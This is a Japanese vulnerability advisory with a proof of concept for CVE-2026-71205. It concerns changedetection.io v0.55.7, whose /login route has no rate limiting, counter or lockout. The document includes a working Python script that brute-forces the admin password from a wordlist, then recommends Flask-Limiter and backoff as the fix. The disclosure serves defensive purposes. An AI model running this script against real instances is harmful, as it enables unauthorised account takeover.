
PoC: changedetection.io の無制限ログインブルートフォース、レート制限なし(CVE-2026-71205、Medium 6.5)
製品: dgtlmoon/changedetection.io — v0.55.7
ファイル: changedetectionio/flask_app.py
CWE: CWE-307 — 過剰な認証試行の不適切な制限
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (中)
CNA: Turan Security · CVE レコード
changedetection.io の /login ルートは、送信されたパスワードを単一の PBKDF2-HMAC-SHA256 ハッシュと照合するだけで、IP 単位・セッション単位のレート制限、失敗試行回数のカウンター、ロックアウトは一切ありません。requirements.txt にはレート制限ライブラリは存在しません。
攻撃者は、スロットリングなしで単一の管理者アカウントのログインに対して無制限にパスワード推測を試行できます。そのため、ネットワークのラウンドトリップ以外のコストをかけずに、インスタンスの唯一のアカウントに対するオンラインブルートフォース攻撃やクレデンシャルスタッフィング攻撃が可能になります。
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
任意のパスワードワードリストを使用してインスタンスに対して実行してください。実行中のどの時点でも、試行回数に応じたロックアウト、CAPTCHA、遅延の増加は発生しません。
ログインハンドラーは、試行追跡状態 (IP 単位、セッション単位、グローバル) を持たずにハッシュを直接比較しており、レート制限ミドルウェアやライブラリもインストールされていません。
/login にレート制限ライブラリ (例: Flask-Limiter) を追加し、失敗試行回数カウンターと、送信元 IP/セッションごとの指数バックオフまたは一時的なロックアウトを実装してください。